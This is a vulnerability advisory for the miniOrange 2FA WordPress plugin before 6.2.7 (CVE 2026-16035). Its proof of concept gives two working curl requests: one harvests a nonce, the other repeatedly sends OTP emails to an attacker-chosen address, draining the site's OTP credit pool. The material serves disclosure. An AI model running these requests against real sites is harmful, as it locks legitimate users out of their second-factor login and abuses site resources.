miniOrange 2FA < 6.2.7 – Subscriber+ Arbitrary-Recipient OTP Send | CVE 2026-16035

Description

The plugin does not restrict who can trigger its second-factor configuration OTP send, nor bind the OTP recipient to the enrolling user's own address, allowing a low-privileged user to send one-time-passcode emails to arbitrary recipients and to exhaust the site's metered OTP allowance, preventing legitimate users from receiving their second-factor codes.

Proof of Concept

Prerequisites (admin configuration, done once): activate miniOrange 2FA; enable the Email (OTP over Email) method and enable Two-Factor for the Subscriber role (role-based 2FA); the on-prem email-OTP transaction pool (remainingOTP) is funded. Registration is open, or the attacker otherwise holds one valid first-factor credential for any account (a self-registered Subscriber suffices).

1. Harvest the nonce from the cookie-less 2FA login-challenge. Submit the account's first factor with NO cookie jar; the challenge that renders carries the mo-two-factor-ajax-nonce and sets no wordpress_logged_in cookie:

curl -s -D - -o challenge.html -c /dev/null -X POST "https://TARGET/wp-login.php" \
  --data-urlencode "log=subscriber" --data-urlencode "pwd=<password>" \
  --data-urlencode "wp-submit=Log In" \
  --data-urlencode "redirect_to=https://TARGET/wp-admin/" \
  --data-urlencode "testcookie=1" \
  -H 'Cookie: wordpress_test_cookie=WP Cookie check'
# extract the nonce:  grep -oE 'var nonce = "[a-f0-9]+"' challenge.html

2. Session-less arbitrary-recipient OTP send (no cookie at all):

curl -s -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode "action=mo_two_factor_ajax" \
  --data-urlencode "mo_2f_two_factor_ajax=mo2f_send_otp_for_configuration" \
  --data-urlencode "mo2f_otp_based_method=EMAIL" \
  --data-urlencode "mo2f_phone_email_telegram=attacker@evil.example" \
  --data-urlencode "mo2f_session_id=poc" \
  --data-urlencode "nonce=<HARVESTED_NONCE>"
# -> {"success":true,"data":"One-time passcode has been sent to a...e@evil.example..."}

Result: an OTP email is delivered to the attacker-chosen external address (attacker@evil.example), NOT the enrolling user's stored address; the metered OTP credit pool (site_option remainingOTP) decrements by 1 per send; the same harvested nonce can be replayed with no rate limiting to drain the pool. Once remainingOTP reaches 0, legitimate users' email-OTP 2FA delivery fails site-wide (they are locked out at the second factor). This is fail-closed: a denial of service, NOT a 2FA bypass and NOT account takeover.